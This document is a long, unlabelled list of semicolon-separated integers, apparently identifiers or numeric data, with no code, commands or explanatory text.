76093;42885;96797;18970;26086;60997;72053;34957;87321;45571;79184;48684;43251;28505;61197;94799;43550;39942;32785;77568;24700;94903;54781;50017;69566;46506;51187;51161;46925;36978;29654;53582;105237;82888;96547;44442;86230;72013;38282;94972;53486;48593;91091;93013;54099;87201;31961;62959;80385;81648;20545;81172;97480;39412;95754;106639;102460;34434;59302;99031;33532;65351;20699;86599;76574;86683;54571;20371;14720;54472;74296;62134;101442;22783;17331;87928;82042;70712;55672;52225;52813;12778;29433;71890;47197;106260;40070;12681;36972;57724;79075;43778;69996;84390;45389;30128;55856;14470;10060;45963;49226;84009;61356;80225;100120;87175;80229;26004;80899;78481;25564;101106;96727;82577;31357;15553;51727;33137;63727;69499;52719;55541;24546;85060;92502;10996;30637;47056;25098;38540;28808;28997;106724;37020;12072;16361;27064;19220;82169;41764;100805;91553;91381;79398;49817;63318;49374;19941;71486;97955;93797;88415;45544;14635;51658;75881;15612;27247;21264;34410;10144;45821;44289;106104;33050;107107;42011;106898;37808;23466;30166;34262;23533;42141;96253;102702;78373;100920;87761;49829;102656;68207;14165;85875;15221;76357;16173;13062;16169;77221;85410;105735;81294;94025;89395;51680;50154;65428;86947;67590;82241;28721;40128;12315;77012;15225;41812;42240;24954;86104;41968;42962;79006;92211;55388;30277;40271;32413;82299;61619;42427;18954;56881;49409;12738;13578;95832;87334;34504;30016;20480;81486;42439;55911;30355;52644;63271;84424;36074;35301;67470;66243;16301;90005;30347;14439;35680;103528;89911;58566;97539;80646;89069;85155;56786;80412;11916;101300;81587;24307;35512;77019;28320;14023;80362;47619;31379;49570;44734;55648;100498;41748;87524;29166;105748;95998;64463;11415;74536;72877;53737;56585;38679;74342;102215;27977;33435;84674;81560;21560;54152;39838;38611;99904;100610;104153;46411;86326;94064;52233;64068;95511;61485;90617;103487;13004;25248;62221;12900;103125;20249;21790;103230;89790;27214;60384;99755;104322;33909;20354;36146;30529;67712;25738;76149;76428;32483;43549;23371;74911;77210;50946;45100;40998;103513;16252;100278;16120;52391;51695;21483;84030;53902;43967;13623;76982;35299;28890;76297;34990;61653;45912;94960;93666;46979;15577;36023;38408;92655;41049;12475;104982;60063;28061;94434;17092;17320;86778;86604;72959;31841;53364;11805;75515;89610;94143;66321;106980;59817;21124;88700;13748;13406;75347;20688;40575;35313;40467;49414;89314;91217;55450;96290;11691;78284;75711;14756;90044;25783;14298;89650;11885;72878;43717;85633;24825;86851;94265;38401;49367;97744;80820;83426;46608;50821;54291;34064;100141;21838;75643;89551;76089;29635;62293;90745;83438;60145;93017;30990;68201;18596;34755;26151;18798;18145;64662;93533;54880;60833;42046;69873;49401;85971;97892;22850;39249;95024;34259;95448;50198;99214;90838;42633;38105;21751;65773;21901;36408;81937;92140;29608;13503;101978;29393;93131;36188;53109;50523;11767;53518;48807;92109;65311;20712;50412;96771;14531;76452;62739;28156;101552;64105;68997;101227;102963;100840;74141;53188;75895;73590;24029;61592;94078;30323;102928;81295;49689;12329;85274;106457;80873;102105;20338;44480;94251;58062;51560;97238;33162;47436;52322;68808;100486;59923;62112;18493;37966;13117;56525;61680;53292;77389;50276;97713;91581;22500;42812;96709;103339;18730;104296;39834;23200;72532;42257;102084;60239;44233;78616;92146;66367;104622;68059;21561;94879;68446;67776;77401;32183;71338;55311;16673;70408;52511;67084;30468;24558;106694;43303;76967;65814;45377;103299;83389;35801;49497;83539;96782;103990;20281;72306;30759;106760;13557;66086;46957;75567;92189;79927;58917;42636;10785;74554;24592;71228;22684;43458;11706;56446;15527;58014;38363;28567;31955;97470;44437;95428;58590;68979;58987;22337;33317;80169;21289;80964;83464;21545;84083;40343;23455;85205;87327;22973;100786;48226;25851;15437;200133;89306;31504;11610;77177;18120;28460;30690;81940;106075;61600;200085;26590;33322;16224;53551;96978;48917;23795;15587;42556;87320;86915;54679;11611;32720;10939;43901;86397;17001;88476;66380;57210;13237;82778;101287;51295;11324;68375;74194;95272;66705;48571;76027;14733;40464;54750;54378;92854;53534;27799;38467;75478;91421;103865;102796;61111;29339;35849;28577;31779;20650;17972;68630;72020;33854;39337;24909;43305;57226;70094;79924;45233;13227;23926;30304;49923;105997;67372;23239;51969;60477;52187;21066;40229;56638;51116;53414;64184;23410;38525;80546;71105;26542;27535;35142;73385;86295;47693;90182;73333;79595;46023;105343;92383;102482;15462;44025;45264;59378;106859;15346;60346;59537;62883;42527;46014;18138;20937;49438;41428;75787;16549;88909;103296;66935;102119;19201;31086;35627;19123;22326;68168;51246;41389;13354;103515;104757;85395;99050;32637;82485;16076;31134;79931;16640;69767;80924;60057;15491;63343;38244;61309;46591;15988;105373;95715;20331;46398;39667;31334;87380;30806;63591;104621;82350;56353;27803;25561;103099;92493;30514;94701;68597;54141;57894;85846;19350;62528;55277;54313;37686;200074;83770;28889;34081;83836;59477;100395;64666;32031;28256;102743;72346;69375;13892;22727;10037;33627;52961;22607;72269;99173;82763;66136;85283;96732;29851;26997;44492;41766;71652;57979;18290;57543;75850;24818;30010;34767;89614;65442;33811;97958;61746;102431;64892;97777;51884;103311;58209;92503;106292;48284;40559;87039;73122;96293;33175;55583;10383;35773;106956;32369;80175;19307;83277;81769;94921;23290;51404;81429;35123;33837;14276;77039;39804;100907;41977;16647;100624;43736;13555;106248;56433;92597;82458;74058;104799;21449;80735;68866;101513;94210;22220;62784;51486;91267;62843;32842;45418;64901;24041;21822;100160;34004;105600;42745;88547;75211;91387;85477;43793;96719;12998;70243;63884;59635;13949;67271;23435;62354;55022;88097;66811;39958;61966;51333;92305;28392;90665;93091;75494;83188;24078;44814;48478;15880;15254;78621;14697;50843;102414;52630;57097;102055;16114;37137;82215;104186;88538;85384;103754;41743;81266;65636;53916;24624;88820;37889;66504;67300;66946;44167;28277;70796;15925;70584;72137;103949;104817;46845;93706;19270;76782;25141;93616;36491;67151;99680;15677;93365;59242;68386;36645;34869;74429;105628;70514;90472;104331;34365;44693;76400;31902;68295;67133;63004;51562;76154;90331;84146;61039;22079;36599;49613;30767;11218;14661;19170;97311;62946;66678;28944;47095;58589;55748;90449;85579;41086;107045;47259;33232;72984;52959;103267;44887;28723;50636;26649;23389;34186;14898;102786;14206;34243;73255;87349;46748;103136;59460;64488;43026;66332;22971;13846;65620;19796;16457;60230;33414;22570;51714;47454;69559;67023;103759;34463;74534;33589;97129;65028;32548;30650;40733;89134;43013;33416;53947;66318;13902;37049;36822;52792;41738;76970;102362;34464;30228;22578;42181;102043;60978;47391;14808;56381;54272;85721;89486;32811;80448;83301;59905;28391;29000;58931;43277;59587;88122;12978;56434;71632;84566;82885;55545;32197;38206;24234;59742;30367;11718;70940;89076;60168;96542;47222;91572;51654;30533;33141;105362;65691;92991;95953;78474;91613;14283;83358;106702;106744;95544;104109;42707;97304;11526;75357;62540;46958;101179;69565;40892;103875;79239;65326;83046;22544;64357;76408;22158;87183;63445;73599;69382;56096;21971;80764;64078;80238;101732;68728;16993;20220;35540;39561;63522;92050;43943;25386;103314;79124;49364;63864;79515;65806;22335;69395;69391;55883;90112;26500;40011;90463;40615;14299;72348;52298;53104;33057;90101;64524;20905;63350;16593;106598;89564;66151;58854;38234;77599;67796;16716;60668;106460;26940;96574;64512;22404;107023;71989;12553;102086;42515;36862;92436;20462;69804;102579;21197;76352;78697;22889;89176;62760;33929;90113;10040;96694;18282;96321;50152;20228;20989;24300;14975;59472;57440;106756;48560;54930;25124;68224;75046;24538;102958;75817;84537;92833;85915;104705;101787;50312;71030;14406;17816;61925;62296;14625;37805;64945;25183;105660;59036;74167;66376;104895;41879;54702;24996;20121;72158;66720;17997;60400;74945;44763;90788;35364;62074;74917;89405;48783;102919;26028;53014;91086;64121;94474;91945;87414;59446;49625;37668;97711;52784;38161;97430;41035;23168;87394;43326;54590;62276;48210;89066;54247;68589;73341;74525;62537;52191;93249;74813;36818;32443;93323;87929;40926;44674;50289;50163;33321;10937;91356;55488;28139;56587;27059;48185;106747;11603;90312;99783;41402;61358;51809;82929;56408;25240;96824;31827;62629;50110;32825;15405;50839;56127;33951;36356;10540;18571;69941;64840;61988;26429;19103;66549;80444;64261;20693;49850;91632;96862;83790;67497;38420;103272;43988;72799;94348;105790;86775;58824;45830;73838;57691;102004;11250;86809;82790;46419;28744;25918;35638;44621;73930;104971;45887;39013;105165;88008;53230;90792;96859;13823;82427;35056;17599;15030;30549;50508;46053;106272;87493;73433;26987;65917;67128;27814;24070;102785;81346;48236;54288;38533;79557;51644;104422;69289;53652;13103;70130;27589;18817;69818;25880;68217;75172;38445;97204;103874;56315;65908;53724;58714;96343;88549;85419;45811;83462;100074;54980;49012;89983;74851;75885;45269;75930;105406;29509;89122;87105;44458;11331;77196;60598;43328;21486;55958;88971;35871;44455;31891;58808;64007;35046;59850;107101;73647;45847;31802;79040;69348;62801;16970;105490;75613;66437;82368;83291;52976;21038;54966;48664;45989;43582;27244;12092;46794;96667;46573;39885;70400;90729;21999;55238;11787;83411;55186;17677;78677;47844;51208;28740;82063;78306;70023;37374;84987;18206;29342;77118;17789;84911;45529;40804;100785;36680;87559;33120;41954;60867;97535;56311;42879;99989;86040;57817;38750;39113;100923;56849;103840;100999;10611;68534;61846;104108;85044;58221;56734;20305;61054;99702;88401;77294;102430;72863;39893;57349;96801;53077;94317;67476;106003;21620;61190;37488;73566;104735;77854;88001;35109;14465;77655;94456;14270;55622;26018;35442;79534;90189;74175;61217;25453;46258;27343;13164;97261;50819;43752;51256;104736;45626;57383;100430;38059;24970;79550;21997;51136;14361;71744;51183;65040;100426;69768;38334;53727;93258;34569;66371;21647;63076;32610;68709;49370;65187;95917;35012;49516;97095;66005;28434;41042;88443;37377;12301;48536;52660;69542;104129;91571;86468;93551;49985;18006;55665;77341;20099;97437;54384;34859;94965;42940;25304;22611;80942;14460;37484;82605;33912;51163;16493;101613;21835;56161;83096;99940;60170;40446;94749;53121;17751;26672;37846;63964;53564;44850;39445;40142;41285;78297;104291;51421;75155;45106;96150;13595;49432;39617;34904;57125;12377;80051;24204;88466;32914;12736;62065;33300;75777;81094;72320;95042;85658;28117;102109;66847;75547;52169;76612;14251;68403;22329;79438;58944;52025;42272;37577;48253;91869;32188;27666;56582;97114;79921;70389;21452;19497;23856;94602;50874;97403;84231;106098;70195;93876;66297;35611;84981;31082;90527;53639;93807;55394;18674;34428;37871;101033;47042;77175;28021;102983;33034;37956;24327;52946;15780;16814;100656;18995;75726;97621;81385;93874;12621;86273;30487;42000;66074;100327;63745;59152;92088;22739;10827;54506;59980;27742;20392;27922;77236;95860;50473;57592;11243;50894;23260;83066;46866;44142;102451;89998;43208;75332;62220;91790;24123;39424;50266;83802;100932;64546;33097;71984;59993;95667;90862;36366;22367;10455;78172;49522;30757;23096;10847;16433;32878;75977;96219;96027;81864;69522;88831;21367;92202;82842;90265;31491;99121;75366;85767;92120;57174;15949;46572;22537;103521;21823;47091;27451;69096;37192;31532;96552;40413;101098;72065;96691;106638;73588;95675;83974;69576;49345;35695;30512;43819;44581;28665;57462;83998;30956;26175;41400;14983;71397;104802;20328;19878;48516;85198;61604;61783;37390;72920;44253;106270;20503;82261;14705;69670;40376;36249;100669;73478;69677;19282;58269;11407;26844;57792;94895;28176;31002;12590;53164;40051;96287;33366;46637;62605;26684;65410;93717;45841;11286;67925;48708;11992;74550;72790;14763;63010;65265;82231;53544;52261;10500;93325;86628;63534;92346;43596;85930;67006;17397;57442;25004;14041;102211;60100;29402;71857;59730;101915;97361;42482;29388;26961;67297;21870;37705;27933;41557;46785;27360;36226;14008;24660;14268;79750;33671;89062;52394;30635;60051;28234;65976;91924;45661;87044;74477;60397;72193;70551;27550;54388;80037;75760;11326;51920;64543;47428;32701;87813;95713;83088;96153;41483;94355;16657;64610;95463;60595;99749;86054;60061;94500;10239;20796;105452;13969;100808;50857;72659;47829;53447;88707;86421;23284;104937;53661;50598;17453;78038;52417;51871;27229;42418;44609;105197;106335;81403;84489;56276;104474;100352;65900;82578;53644;64656;61179;77495;34500;74012;102237;28359;66251;29936;50280;29052;24962;95714;83365;96170;89406;19189;89762;101059;33937;30668;80347;72493;61650;62900;34679;39990;86456;93996;105887;51229;35842;29653;91543;72497;89382;99305;94225;72712;65197;16572;94297;31289;68901;33823;66650;22648;43656;25401;52244;61293;40308;15487;52931;62315;44671;82293;25371;49664;38790;12235;91847;38542;32584;56137;33006;97187;44071;31067;31095;74275;67852;26047;89303;15220;10181;68163;35728;33545;83575;86714;74744;97250;19132;90898;36246;26851;73046;95774;44451;59489;50630;71445;74380;61704;12405;68252;34849;28738;11566;12003;67624;72800;54236;15273;81953;85685;80953;58998;31243;65291;66146;61661;14868;43695;73903;43599;24512;34924;34117;80478;25437;36121;103213;75198;22438;17002;50376;30008;85188;93134;30129;13874;54218;93464;53819;57873;36333;33606;93343;11799;76465;75477;59987;38490;57143;59312;93403;13175;92855;26262;39820;32283;44991;102991;96923;59828;18316;26857;69546;106573;92755;53002;86993;75790;101164;86075;28834;32514;35193;24131;52773;91757;86517;18406;87187;97799;102757;62364;86697;31529;42408;51907;34844;106763;83293;23860;21064;16273;48575;19372;48419;34589;44104;63137;64779;76675;40814;64848;79755;16941;76773;37858;33725;33644;85261;105226;75242;83532;54047;26349;54645;99831;105162;37995;74209;100156;86558;95750;47447;31028;100273;90009;16607;52031;82928;56046;39229;69100;39340;56458;74136;86300;34492;33389;105016;22319;50053;97310;88676;61878;104899;18499;33072;26453;67225;35047;48652;81521;50514;20598;50283;30746;86020;59085;60147;92658;76305;11951;45283;64531;71117;56906;76611;57672;29157;56660;104902;73396;25200;11095;51349;100472;12473;38284;36872;66052;47723;96013;69570;47672;43083;27085;85116;70916;47143;71458;56259;92286;83900;46692;60843;39034;106268;100592;71043;99881;100729;43913;94358;35676;23552;35971;90825;97360;35567;53042;47891;20805;56364;26816;94656;45734;14194;86725;23684;52197;58039;77316;79181;73114;31308;40358;15037;41874;32166;21119;19952;10186;41703;66193;13506;74848;79135;61431;60815;105743;32348;42167;14191;55804;29314;86644;37112;34946;65526;41057;86755;76709;93266;80082;79912;59263;16051;90322;65133;89463;16274;49792;48964;24761;43088;53959;105290;22054;76734;66041;57704;39010;33291;18494;51900;10908;102588;64195;15324;27405;27152;79567;45922;30449;102540;13643;13877;40504;83364;16687;97971;68961;93041;57931;21570;18340;74886;32565;73249;90187;68484;45278;34292;59710;89251;61990;65528;39487;40609;93035;100710;12107;61538;19703;22063;64652;28775;41304;22523;88396;74944;99549;94057;40390;59076;94089;93728;44182;41426;44113;73796;52564;48983;18715;104526;63327;45740;93906;82464;19648;74215;26380;59734;43118;73508;22586;101611;41672;93174;70337;61590;102867;54726;33665;40444;40053;71815;74575;58545;106823;52604;47378;63229;67462;41907;18786;49258;65213;86541;25286;78658;39017;87801;79144;53140;19209;64122;75237;90607;39300;104236;19863;33798;14623;79355;11966;87691;61371;68216;71527;57312;37435;13456;47893;54309;28874;100930;73505;83163;55580;39018;47137;57594;92049;60972;56409;37588;52695;60291;79345;60458;68865;47234;70501;39937;73552;15082;34709;56583;97927;100966;52371;41669;11420;70399;54091;28381;53746;60217;32499;90743;62441;106441;86583;29527;86570;100582;50493;65591;43760;38248;36225;86546;96500;46085;51200;87606;24372;81662;46495;10004;34486;27838;92387;95972;86194;55062;52937;20891;37409;104583;11257;93157;10429;84512;29169;41423;90601;14105;76628;57767;68421;64753;79523;83763;90942;68043;89904;85572;67284;50026;30510;91423;49030;44150;105656;75436;19448;102668;41989;20920;75830;12872;11460;62642;92252;19799;52749;78360;14718;41442;39575;61826;31594;11391;70894;43291;60734;94281;17798;25190;87134;32786;36357;71224;51484;104999;78995;33949;15420;65617;59390;84500;16319;101805;67433;16368;74670;44704;39926;66016;64949;53928;20490;78822;78452;31537;59125;81683;11489;99996;26102;23328;86968;32896;20600;29520;63293;19908;70485;20447;76688;11377;79147;11168;64098;79386;42537;44724;27868;68850;53111;30977;76280;13651;86033;105480;94260;53880;43973;25446;49947;17181;11882;43952;101766;60360;81243;11730;50001;22410;34927;15904;25838;43244;36465;26158;50560;22015;74700;27261;91912;91504;89024;15962;50552;26323;81459;46945;85794;94897;75060;84582;11452;39404;79159;55176;64285;17030;69477;66248;28190;77817;50959;33803;91617;26194;16979;51977;69366;64146;65933;90511;106228;104630;26822;30768;57936;46857;50108;106396;27602;50885;70008;28191;21248;104100;26094;59603;27441;36656;91555;40965;65486;24544;57322;32491;93374;81881;55420;15666;45251;25956;12865;67907;53595;26235;40684;39035;51563;55493;14791;28526;14009;91189;81480;36820;59137;90724;48177;106515;57386;37998;91153;42355;94628;20673;35081;100787;36697;22795;31273;30453;43279;36576;31711;29057;57274;89825;103748;55419;85428;22434;27515;49334;25427;29473;23729;34683;91030;33523;73980;22295;55173;60881;90336;99341;19994;73968;26161;79528;53944;39821;97098;84635;91325;97786;28550;103302;53882;16984;34122;10494;32210;87640;77047;71342;63955;100942;73457;82416;50188;14117;59623;71372;31386;104536;87372;17127;82336;31141;76144;88089;93032;61953;79142;62135;65511;77262;101651;55533;91780;29304;82528;36563;86164;47467;69749;30877;41212;38173;23006;22843;37364;103045;80568;63584;69754;61313;41625;14689;75637;20996;64896;32694;92137;15372;21743;62000;11597;70690;49778;15853;17044;80453;42041;44868;96819;58364;24745;83110;97296;12893;102727;68115;57556;103150;36726;89115;53767;15757;39853;86812;21097;17609;26885;101861;45867;99003;28860;103750;73807;71355;16152;23890;99850;91660;104766;56349;28724;25701;86028;48439;20690;105605;44758;11384;60693;52413;64469;72146;59650;86451;102403;94212;15910;103775;75054;73818;36006;92363;65460;41475;71937;97751;86476;76837;39698;42613;83540;21027;87975;55162;103953;105127;37763;74858;40661;100005;91833;45091;70117;55857;92797;54870;49895;61240;91995;100559;99625;80868;38425;43856;65689;27168;11435;25064;27755;33988;31914;60250;88176;83298;96641;81325;53141;10287;76255;65998;44883;32669;17653;21768;30486;40477;75157;97067;72919;14069;82397;85753;75115;74929;25289;47157;106644;50527;12831;70711;63369;40922;20215;67290;30349;74530;50586;35129;28558;55779;28437;35821;13801;70332;63122;30194;54542;23015;106078;71112;79019;79980;62392;31105;67169;15102;53696;23875;33624;27256;49844;47321;55735;76156;89277;13580;22495;85713;86731;100522;46875;20284;12545;47099;105460;75840;31600;13186;59194;32304;93081;33127;74324;91896;75422;70246;34488;59421;49296;25443;20113;23957;57544;26531;16285;76026;80615;88649;71081;70003;69007;21075;39003;22007;25080;28082;73273;100927;83287;58766;89686;18604;30850;103614;66003;99081;18411;62933;60521;33461;15150;53219;25722;70789;70279;18315;34032;91608;105966;66442;71016;44212;40817;16084;73222;11356;87932;104454;75337;102359;21950;32934;57444;106201;74938;101524;64225;28501;73499;23915;91761;48441;87261;104731;68281;87314;18081;34128;103432;99418;60148;33180;42762;80719;10589;22078;82252;82247;101653;20310;36396;70848;90497;64564;42659;64607;71542;54856;105643;74631;63069;40528;17544;10091;86554;106085;89327;70605;90938;200011;104347;78257;35599;43885;11073;60493;63443;86380;71005;106385;81571;97259;21530;38493;81697;47593;22512;67931;99284;81948;65819;18483;64086;81043;101131;28799;97985;78261;52021;33741;82573;31907;62238;62885;103607;74426;84369;31233;95891;16643;10857;23718;26804;55428;95359;49846;57537;85078;24388;61166;11590;103323;36805;19247;42389;12001;35594;33765;45056;49763;90628;83115;38224;28062;105647;34470;56623;43353;73020;87558;92177;91921;34875;72777;101624;44027;51936;43080;53530;13050;92004;81337;87002;54373;25968;38697;46632;29189;100231;93893;99430;10692;76917;101952;17703;73440;79715;90268;69361;51094;36190;26030;36500;71509;22861;26110;87271;58634;74509;97731;51151;89662;35615;47481;43586;33016;71856;17086;25659;90247;91220;71565;104849;89164;29627;50618;92921;78350;25624;29108;28041;87413;74330;76555;93791;76184;20875;47077;63118;99475;25928;103896;85649;46127;36533;34497;31148;81732;56234;18639;40081;61621;92924;34446;29866;78250;42126;49924;57575;20884;31270;37262;16185;52320;16172;88473;54848;93731;18495;42776;57025;16335;86903;22414;85322;59795;53523;51570;63923;82671;70127;40656;59498;104889;19701;12477;68105;23932;38273;78821;29729;70673;44329;56122;34181;34525;73595;59589;50627;12089;13604;94088;74683;92300;41407;26956;105907;97136;37184;34692;90396;26105;86689;71730;56591;68004;103292;50621;84360;21347;84822;26766;94794;85185;45985;17725;85565;99669;21211;22350;33280;14002;59648;17274;96208;86260;76208;61747;27285;19528;102325;12056;100576;96823;30926;69315;60045;62711;78489;49371;31990;77471;47293;22581;24788;35923;37839;35286;61267;56082;95689;69998;57796;69961;18356;91470;27278;44304;18241;14290;64716;11337;58048;24844;19409;44799;38563;90985;31331;92902;10994;27913;14059;39829;27312;19034;71546;11598;105951;40893;40436;28649;57532;26794;76168;76487;100962;39962;97283;44681;82633;20795;25383;36539;18864;105961;10988;56966;18186;54641;92743;75266;74433;99677;73356;83235;44719;87461;74164;73345;73445;57653;35936;16133;25852;38721;82739;13024;96617;54176;29844;20879;64198;38172;68585;93073;25578;99194;74613;71406;96267;24834;103572;45499;96741;64180;12755;83522;35238;64028;39322;47018;23207;45543;16421;59259;85750;46367;47082;38715;19523;54149;35118;28037;102367;36529;59813;79993;67813;66011;24726;13649;15139;16872;78465;27223;94896;63466;104512;32662;40064;59429;43958;95316;105458;23569;103541;51674;40012;51489;54729;21193;39076;44389;79224;105812;99602;42738;100460;78754;80195;59765;103256;63543;66996;62428;25245;45615;83143;69224;60460;26552;13274;36847;42428;79797;14678;75666;83130;16262;38535;65257;93651;82689;63632;84258;15615;101641;84769;59736;23763;63110;66182;50285;46459;18037;61352;66585;22677;77659;51734;51480;19960;45328;10559;103457;22011;89317;59973;63295;83810;104201;21139;86043;79318;29569;45391;30101;72207;28439;82122;80583;14063;22892;93487;86766;102254;103603;26200;24941;99158;102182;71059;73784;94294;47872;55739;59570;11510;99231;86992;61618;28352;22156;42840;102834;65746;74351;55614;72675;10917;63116;95982;70954;29975;69052;86613;43262;30483;21786;101827;11559;69449;41028;68078;16628;31580;95530;81194;90681;92087;68373;105637;41226;63968;13925;57572;15819;89051;95656;55602;10056;40614;57251;46622;88159;66810;15005;32148;91396;38782;87546;75811;43865;31855;18993;71835;60315;31573;56327;39552;62153;56295;42665;99303;94460;91970;26058;79341;38530;69879;24313;93107;49366;28113;51408;105500;71925;86315;46942;11108;101056;58857;73556;27371;35739;31717;38665;94125;19801;55106;79686;67209;25906;64799;68251;33229;84765;96123;63938;14177;31018;84264;96406;84339;76805;72887;50089;63612;63286;84647;50773;30788;59130;91867;89799;12271;46569;39473;15766;36473;13010;85382;46374;11464;66314;78982;50445;76493;30640;73371;17257;75741;69816;42847;104187;65176;18057;16344;64422;59326;74523;62288;89206;17208;89716;16551;16697;96106;36719;74459;56326;39603;22366;25587;60030;42395;36036;100997;30600;61758;47252;19699;80778;200012;81520;26729;80292;64984;103580;72597;47634;40239;58315;72184;58602;14149;62089;36032;41791;30686;17689;52717;105445;44002;101825;61465;18366;106380;51850;52094;14291;94609;48280;60265;87096;68229;76096;53521;32572;60062;55695;10821;87200;58993;47826;61076;82384;82349;18877;33113;94583;38574;68264;93248;62415;100609;54719;100379;75028;92013;27449;99212;66301;51878;49755;13059;106991;62841;52448;72241;16122;25384;69498;61664;70907;86943;46773;27764;60387;52123;49835;70694;74438;63625;12653;67488;19177;81329;37088;64909;71011;19572;31638;102210;43798;50957;22947;101870;35026;60003;36940;27491;66313;96102;21618;51868;75079;54434;60285;23657;49841;63983;63630;87724;15867;33429;102388;75723;87745;19305;21664;70955;57961;69243;55581;96064;37247;61978;67918;104969;11360;57113;97348;58219;47562;13109;13087;46029;104581;103169;42415;60445;81585;103310;20527;27618;89863;37153;94643;74491;100745;77506;51035;74641;88140;24342;15602;64906;83486;12693;89065;57740;50858;57772;11214;33538;28825;96597;95817;72224;45773;42725;51422;83517;61543;89535;103579;28301;94410;38601;54790;56206;29825;89379;52831;94567;70687;104255;13356;63960;99053;100307;47335;81911;92751;91973;51649;47845;76793;70084;47429;50061;62994;51950;74105;16049;101233;44120;72743;52838;33788;77635;63609;13827;32641;41159;21683;53345;38356;35279;58107;22192;83897;86642;35585;46394;31585;52616;71725;66765;25452;79897;105759;47763;41621;94058;92227;70939;20882;85856;44206;60741;14564;21796;75746;42286;46876;76191;14685;47506;78365;54996;96869;79080;69462;13703;15055;100329;86767;75231;39650;36435;34033;45786;10001;39241;22755;13584;77671;40003;16923;14849;81387;93968;12857;62833;20399;83138;25170;49205;49115;51915;50287;54454;29579;86819;53631;19995;44564;85405;84813;69203;61412;97677;58370;104957;65796;75800;16448;78488;32540;44978;36692;80644;90375;56104;49373;78536;86732;101248;56425;31241;45764;100083;71384;31237;49907;29312;91477;86381;74168;30162;55978;52381;10645;100268;72658;16888;94450;96890;86948;20574;68712;34508;92795;44700;43098;27580;19142;15774;46049;49238;103032;105742;90255;106361;82849;91063;26611;44537;54251;30999;106792;16877;56702;105436;67828;23366;12495;43373;67257;35815;28360;60228;13380;58259;39610;72874;25481;104342;52205;105069;106961;105713;15799;103888;16239;63077;19746;26286;48277;14957;58683;72209;56520;50656;106894;83902;84246;21316;35010;87342;51157;68890;100689;27986;61355;85520;44373;100872;103752;59257;62790;80239;99406;52419;54666;30761;100240;51677;97110;38287;77901;103959;11519;14505;55560;77153;104251;67251;17732;29359;53622;84292;95773;44588;60569;72514;90283;32909;54928;64859;81892;50804;40387;94932;70338;10484;89523;82232;58627;47253;32762;86401;57941;105242;78059;85465;51235;95615;15266;15169;11105;77297;29938;72478;81467;74827;19637;10846;84824;100597;81360;71620;43533;66287;12997;55481;94824;61383;36836;103018;81813;14019;49341;44685;84864;74283;14970;38228;62987;23373;70470;68413;101781;92703;18778;66022;72885;24175;44813;96185;60054;72236;57645;96019;64049;32636;71636;65419;26777;96323;66695;20361;81966;105802;46084;84573;17315;19911;57372;20562;86006;79751;50007;34519;81272;41056;89841;32859;60870;63368;69779;54426;36708;50576;57354;60747;28233;10277;97379;46226;35161;30857;63068;38747;24843;83023;25014;53685;13311;41912;97865;54217;56228;100737;47505;60107;91304;106383;76283;90050;20278;24880;94352;16622;58710;99106;100534;104066;77345;97631;46263;68802;25991;50293;104955;91618;63657;20072;52344;38340;55918;81457;86637;82500;17581;64123;103630;70244;92780;21246;48879;54006;18804;95368;40989;87795;102888;60552;72315;70284;64471;92107;83337;40532;48590;43637;70524;34451;35898;94372;61744;63070;76651;81465;94805;92987;42413;20261;97505;103480;14865;104053;36543;80149;62832;81656;70667;26341;58966;103551;59138;52020;99366;81291;12629;24349;81342;99482;86941;45270;75967;95421;33055;66078;104738;64211;84903;11424;96429;93298;37561;100458;61310;96449;46871;103090;96950;14108;16598;58951;54021;84016;31985;21600;20127;32021;58698;53265;32066;73116;90300;84106;62050;40564;70465;20102;45809;68418;19113;81135;67255;49874;57597;101923;70150;61496;52370;90174;34661;20053;71072;85757;26254;70239;50854;67345;43216;51254;51574;27105;39906;57699;21875;80958;71063;42637;88490;36655;45345;101478;52957;72964;95308;32464;30011;86874;79705;70153;92672;39394;47695;28055;53708;71133;17549;33864;76285;24405;25360;14521;101748;48675;101883;50401;44114;105818;83228;37026;97476;23781;12793;34456;104779;75093;55997;52143;24822;21841;22070;83509;59665;52284;12947;81226;52822;73956;76699;70477;66898;33825;100287;56235;52829;23016;97726;94592;84131;65581;102128;11061;41239;61960;48454;58862;30230;47747;83215;69308;44584;32275;27184;40270;54670;66439;92782;37809;19062;85811;75676;46542;20227;29778;21254;85021;61924;102912;79123;85709;86846;80861;93582;94451;14989;33813;27712;78894;52133;92996;16945;22852;21020;91893;101578;101326;15235;35542;79990;71758;91560;103558;80909;10430;82851;65241;11308;46676;58135;22258;71325;87119;37401;94152;44979;55026;40427;44404;70748;25372;87472;11808;75561;69708;71756;71625;65336;66341;42694;105239;25129;106177;54753;41861;68367;106669;73351;38570;25061;40588;90148;19323;45660;83177;12795;18350;105824;69186;49381;41164;13652;99037;18722;27270;87255;81765;105335;105803;93966;66839;67612;81536;79881;78540;87224;69791;105258;71020;30206;10508;65454;51386;47029;50884;106667;16826;104178;100681;85505;30091;86148;14798;32646;37420;36949;74407;94158;54612;11211;89414;70152;12931;14695;22788;97465;85776;35460;88641;36970;11851;53211;40353;37078;58051;65513;68268;102332;92128;94589;70168;62013;22363;37206;97588;18505;45335;57721;83553;38628;57844;57281;94887;25733;26056;34998;61893;17017;65830;60563;24723;20434;55009;61763;77204;48913;70842;82592;65683;49013;43974;54233;99821;23135;84735;43229;43825;49839;81013;22857;91287;37343;14213;92735;65598;20477;56361;39746;77561;59027;42384;102505;77517;69687;81902;89923;89605;85240;73454;77873;40005;94636;94034;44600;45556;24082;58339;27785;101477;77278;33242;41985;75620;46976;59551;101565;52159;34251;51387;46312;36181;56837;86507;17294;106632;105096;79389;12062;67014;26969;106841;36133;50245;44946;22309;89731;75116;80770;56177;85077;73604;96317;23975;24988;18193;102469;103524;90551;38388;94201;99458;80327;79292;50482;24109;31655;58564;86924;61158;87484;84696;66298;94971;21805;97585;76077;45000;23543;71216;43109;93287;53280;73056;88099;37341;16570;15132;49803;24561;77784;21969;96703;21871;101443;105315;60648;54917;37014;73852;91635;41067;56845;49559;64062;91445;15622;38125;68938;11764;93914;100826;52241;53257;41474;97040;13204;68825;31368;29789;82339;42362;80200;33506;81286;75022;11323;21304;45896;69195;48725;21328;42816;68340;75277;22675;88060;105499;46938;18790;84805;62556;46151;35707;78977;19049;61586;23936;70557;67008;35427;51308;104022;59775;30779;72398;29783;55406;12395;78871;103698;66096;35203;80398;80661;26828;87073;45965;104580;83286;53907;44833;59155;68753;16966;70548;87894;24515;43204;85724;84433;54308;55590;61905;45921;100892;79066;41441;11133;56230;14891;106316;87895;64561;63050;21205;53674;72511;48847;67705;11644;104704;91627;51879;82600;64822;63096;68563;10812;106459;71545;80393;86994;76727;83912;104885;16359;105214;75956;61041;96952;78701;11905;76327;73627;88103;54445;57222;